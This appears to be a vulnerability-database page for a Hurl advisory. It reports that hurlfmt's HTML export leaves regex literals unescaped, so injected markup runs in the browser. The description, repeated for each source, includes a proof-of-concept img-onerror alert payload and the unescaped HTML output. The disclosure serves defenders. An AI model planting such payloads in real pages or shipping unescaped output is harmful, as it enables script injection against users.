GHSA-v33j-v3x4-42qg
Regex literal in Hurl files are not escaped when exported to HTML, allowing injections
GHSA-v33j-v3x4-42qg is a vulnerability with no CVSS score yet in hurl, published June 11, 2025. No source lists public exploit code. Fixed in hurl 7.0.0.
- Severity
- UnratedNo CVSS score yet
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
7.0.0hurl +1 more
Description
Given this Hurl file:
regex.hurl:
GET https://foo.com
HTTP 200
[Asserts]
jsonpath "$.body" matches /<img src="" onerror="alert('Hi!')">/
When exported to HTML:
$ hurlfmt --out html regex.hurl
<pre><code class="language-hurl"><span class="hurl-entry"><span class="request"><span class="line"><span class="method">GET</span> <span class="url">https://foo.com</span></span>
</span><span class="response"><span class="line"><span class="version">HTTP</span> <span class="number">200</span></span>
<span class="line"><span class="section-header">[Asserts]</span></span>
<span class="line"><span class="query-type">jsonpath</span> <span class="string">"$.body"</span> <span class="predicate-type">matches</span> <span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
</span></span><span class="line"></span>
</code></pre>
The regex literal /<img src="" onerror="alert('Hi!')">/ is not escaped:
<span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
When opened in a browser, the code is run without user interaction:
Affected packages
What each source reports
GitHub AdvisoriesNo score
Regex literal in Hurl files are not escaped when exported to HTML, allowing injections
Given this Hurl file:
regex.hurl:
GET https://foo.com
HTTP 200
[Asserts]
jsonpath "$.body" matches /<img src="" onerror="alert('Hi!')">/
When exported to HTML:
$ hurlfmt --out html regex.hurl
<pre><code class="language-hurl"><span class="hurl-entry"><span class="request"><span class="line"><span class="method">GET</span> <span class="url">https://foo.com</span></span>
</span><span class="response"><span class="line"><span class="version">HTTP</span> <span class="number">200</span></span>
<span class="line"><span class="section-header">[Asserts]</span></span>
<span class="line"><span class="query-type">jsonpath</span> <span class="string">"$.body"</span> <span class="predicate-type">matches</span> <span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
</span></span><span class="line"></span>
</code></pre>
The regex literal /<img src="" onerror="alert('Hi!')">/ is not escaped:
<span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
When opened in a browser, the code is run without user interaction:
- Record
GHSA-v33j-v3x4-42qg- Updated
- 2026-11-02
OSVNo score
Regex literal in Hurl files are not escaped when exported to HTML, allowing injections
Given this Hurl file:
regex.hurl:
GET https://foo.com
HTTP 200
[Asserts]
jsonpath "$.body" matches /<img src="" onerror="alert('Hi!')">/
When exported to HTML:
$ hurlfmt --out html regex.hurl
<pre><code class="language-hurl"><span class="hurl-entry"><span class="request"><span class="line"><span class="method">GET</span> <span class="url">https://foo.com</span></span>
</span><span class="response"><span class="line"><span class="version">HTTP</span> <span class="number">200</span></span>
<span class="line"><span class="section-header">[Asserts]</span></span>
<span class="line"><span class="query-type">jsonpath</span> <span class="string">"$.body"</span> <span class="predicate-type">matches</span> <span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
</span></span><span class="line"></span>
</code></pre>
The regex literal /<img src="" onerror="alert('Hi!')">/ is not escaped:
<span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
When opened in a browser, the code is run without user interaction:
- Record
GHSA-v33j-v3x4-42qg- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/Orange-OpenSource/hurl/security/advisories/GHSA-v33j-v3x4-42qg